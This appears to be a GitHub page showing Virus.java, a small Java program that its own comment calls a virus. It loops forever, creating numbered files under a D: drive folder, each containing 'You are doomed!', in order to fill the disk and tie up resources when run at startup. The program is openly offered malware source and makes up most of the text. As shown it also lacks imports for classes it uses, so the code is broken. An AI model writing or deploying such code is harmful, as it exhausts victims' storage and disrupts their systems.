-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathVirus.java
More file actions
33 lines (28 loc) · 867 Bytes
/
Copy pathVirus.java
File metadata and controls
33 lines (28 loc) · 867 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import java.io.File;
import java.io.IOException;
/**
* Created by Ruby on 3/21/2016.
*/
//A Virus that floods a folder by creating new files. Some amount of your RAM will keep being used and some amount of your space being consumed if this is run during system startup!
public class Virus {
public static void main(String[] args) {
createFile();
}
static void createFile(){
int val=0;
while (true){
String fname="D:\\this\\file"+ val + ".txt";
val++;
File f=new File(fname);
try{
f.createNewFile();
FileWriter fw = new FileWriter(f.getAbsoluteFile());
BufferedWriter bw = new BufferedWriter(fw);
bw.write("You are doomed!");
bw.close();
}catch(IOException e){
e.printStackTrace();
}
}
}
}